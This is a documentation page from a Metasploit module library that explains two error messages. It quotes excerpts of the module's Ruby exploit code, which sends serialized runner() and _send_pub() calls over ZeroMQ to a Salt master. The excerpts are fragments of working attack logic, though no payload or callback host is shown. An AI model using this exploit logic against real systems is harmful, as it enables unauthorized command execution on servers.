Did not receive runner() response


Here is a relevant code snippet related to the "Did not receive runner() response" error message:

208:	
209:	    vprint_status("Unserialized clear load: #{runner}")
210:	    zmq_send_message(serialize_clear_load(runner))
211:	
212:	    unless (res = sock.get_once)
213:	      fail_with(Failure::Unknown, 'Did not receive runner() response')
214:	    end
215:	
216:	    vprint_good("Received runner() response: #{res.inspect}")
217:	  end
218:	

Did not receive _send_pub() response


Here is a relevant code snippet related to the "Did not receive _send_pub() response" error message:

261:	
262:	    vprint_status("Unserialized clear load: #{send_pub}")
263:	    zmq_send_message(serialize_clear_load(send_pub))
264:	
265:	    unless (res = sock.get_once)
266:	      fail_with(Failure::Unknown, 'Did not receive _send_pub() response')
267:	    end
268:	
269:	    vprint_good("Received _send_pub() response: #{res.inspect}")
270:	
271:	    # NOTE: This path will likely change between platforms and distros

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • F-Secure
  • wvu

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.